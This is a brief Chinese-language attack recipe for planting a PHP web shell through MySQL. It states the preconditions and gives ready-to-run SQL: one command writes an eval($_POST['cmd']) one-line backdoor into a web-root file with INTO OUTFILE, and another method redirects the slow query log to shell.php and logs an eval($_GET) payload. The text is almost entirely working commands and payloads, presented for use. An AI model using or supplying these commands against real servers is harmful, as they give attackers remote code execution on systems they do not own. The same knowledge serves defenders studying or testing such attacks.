into outfile直接写入木马文件
使用条件：
-
知道网站的绝对路径
-
secure_file_priv不能为null
-
拥有写入文件的权限
使用方法：
利用into outfile写入木马文件
select "<?php eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\shell.php"
利用日志文件写入木马
首先需要开启日志功能
set global slow_query_log=1;
其次设置日志存储路径
SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php';
最后执行SQL语句
select '<?php eval($_GET[H])?>' or SLEEP(11);